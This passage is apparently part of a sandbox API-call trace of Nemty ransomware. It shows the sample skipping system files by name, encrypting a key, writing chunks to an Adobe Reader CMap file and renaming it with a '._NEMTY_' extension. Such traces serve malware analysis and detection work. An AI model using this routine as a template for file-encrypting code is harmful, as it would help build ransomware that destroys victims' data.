(lpString1="HKdla-B5-H", lpString2="RECYCLER") returned -1 [0207.136] lstrcmpiW (lpString1="HKdla-B5-H", lpString2="BOOTSECT.BAK") returned 1 [0207.136] lstrcmpiW (lpString1="HKdla-B5-H", lpString2="bootmgr") returned 1 [0207.136] lstrcmpiW (lpString1="HKdla-B5-H", lpString2="programdata") returned -1 [0207.136] lstrcmpiW (lpString1="HKdla-B5-H", lpString2="appdata") returned 1 [0207.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdla-B5-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0207.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdla-B5-H", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKdla-B5-H", lpUsedDefaultChar=0x0) returned 10 [0207.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0207.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdla-B5-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0207.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdla-B5-H", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKdla-B5-H", lpUsedDefaultChar=0x0) returned 10 [0207.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0207.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdla-B5-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0207.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdla-B5-H", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKdla-B5-H", lpUsedDefaultChar=0x0) returned 10 [0207.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdla-B5-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0207.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdla-B5-H", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKdla-B5-H", lpUsedDefaultChar=0x0) returned 10 [0207.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0207.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0207.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0207.136] Sleep (dwMilliseconds=0x5) [0207.150] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2f1bd5f0, dwHighDateTime=0x1d561e8)) [0207.150] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2f1bd5f0, dwHighDateTime=0x1d561e8)) [0207.150] GetLastError () returned 0x5 [0207.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0207.151] GetLastError () returned 0x5 [0207.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0207.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0207.151] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0207.151] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0207.151] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0207.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0207.151] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="9yJsYjcJo4T0jJQg0m2sT6RBm7SO5Mp8LRi0vZHsOucBGP1Z0nbby4WDxRc/MZs8\r\ne53uw9zSQs0auCtGaH3RUrcoSQeXeg+TykDiG8OU2YR1IltrA5EgbAlYEiRbiyqo\r\nj1PZsBnzmO4ATSSEDpb8RDrcsaGkL/Tdy4b69TIJ/igDho4B8G7HZmerchWqGDja\r\nBmXklO08Bb7i6cH2J1bI3uOqlvDL7fDd8h21Cy536aTLOH/Nel/5q+yiZ5PMppMG\r\nIc1xO35ExGOiZ+Wh7BEmgvmLKKnh0jClWrgqx0M3ViZu3g43FkuegaYBffHVq/xf\r\nLJyRnT/jbvivSpXS86nsBA==\r\n", pcchString=0x653e91c) returned 1 [0207.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0207.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0207.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0207.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0207.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0207.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0207.151] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdla-b5-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0207.151] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0207.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0207.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.151] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.161] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.161] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.170] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.170] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.179] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.179] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.195] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.195] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.195] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.196] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.205] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.205] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.205] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.205] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.214] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.214] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.224] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.224] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.224] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.224] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.233] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.233] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.243] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.243] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.243] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.252] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.252] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.258] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.258] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.264] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.264] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0207.264] CloseHandle (hObject=0xffffffff) returned 0 [0207.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0207.265] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0207.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0207.265] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0207.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0207.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0207.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0207.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0207.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0207.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0207.265] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdla-b5-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdla-b5-h._nemty_kgobjgd_")) returned 0 [0207.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0207.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0207.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0207.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0207.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0207.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0207.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0207.265] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdla-B5-V", cAlternateFileName="HKDLA-~2")) returned 1 [0207.265] lstrcmpiW (lpString1="HKdla-B5-V", lpString2=".") returned 1 [0207.265] lstrcmpiW (lpString1="HKdla-B5-V", lpString2="..") returned 1 [0207.265] lstrcmpiW (lpString1="HKdla-B5-V", lpString2="...") returned 1 [0207.265] lstrcmpiW (lpString1="HKdla-B5-V", lpString2="windows") returned -1 [0207.265] lstrcmpiW (lpString1="HKdla-B5-V", lpString2="$RECYCLE.BIN") returned 1 [0207.265] lstrcmpiW (lpString1="HKdla-B5-V", lpString2="rsa") returned -1 [0207.265] lstrcmpiW (lpString1="HKdla-B5-V", lpString2="NTDETECT.COM") returned -1 [0207.265] lstrcmpiW (lpString1="HKdla-B5-V", lpString2="ntldr") returned -1 [0207.265] lstrcmpiW (lpString1="HKdla-B5-V", lpString2="MSDOS.SYS") returned -1 [0207.265] lstrcmpiW (lpString1="HKdla-B5-V", lpString2="IO.SYS") returned -1 [0207.265] lstrcmpiW (lpString1="HKdla-B5-V", lpString2="boot.ini") returned 1 [0207.265] lstrcmpiW (lpString1="HKdla-B5-V", lpString2="boot.ini") returned 1 [0207.265] lstrcmpiW (lpString1="HKdla-B5-V", lpString2="AUTOEXEC.BAT") returned 1 [0207.265] lstrcmpiW (lpString1="HKdla-B5-V", lpString2="ntuser.dat") returned -1 [0207.266] lstrcmpiW (lpString1="HKdla-B5-V", lpString2="desktop.ini") returned 1 [0207.266] lstrcmpiW (lpString1="HKdla-B5-V", lpString2="CONFIG.SYS") returned 1 [0207.266] lstrcmpiW (lpString1="HKdla-B5-V", lpString2="RECYCLER") returned -1 [0207.266] lstrcmpiW (lpString1="HKdla-B5-V", lpString2="BOOTSECT.BAK") returned 1 [0207.266] lstrcmpiW (lpString1="HKdla-B5-V", lpString2="bootmgr") returned 1 [0207.266] lstrcmpiW (lpString1="HKdla-B5-V", lpString2="programdata") returned -1 [0207.266] lstrcmpiW (lpString1="HKdla-B5-V", lpString2="appdata") returned 1 [0207.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdla-B5-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0207.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdla-B5-V", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKdla-B5-V", lpUsedDefaultChar=0x0) returned 10 [0207.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0207.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdla-B5-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0207.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdla-B5-V", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKdla-B5-V", lpUsedDefaultChar=0x0) returned 10 [0207.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0207.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdla-B5-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0207.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdla-B5-V", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKdla-B5-V", lpUsedDefaultChar=0x0) returned 10 [0207.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdla-B5-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0207.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdla-B5-V", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 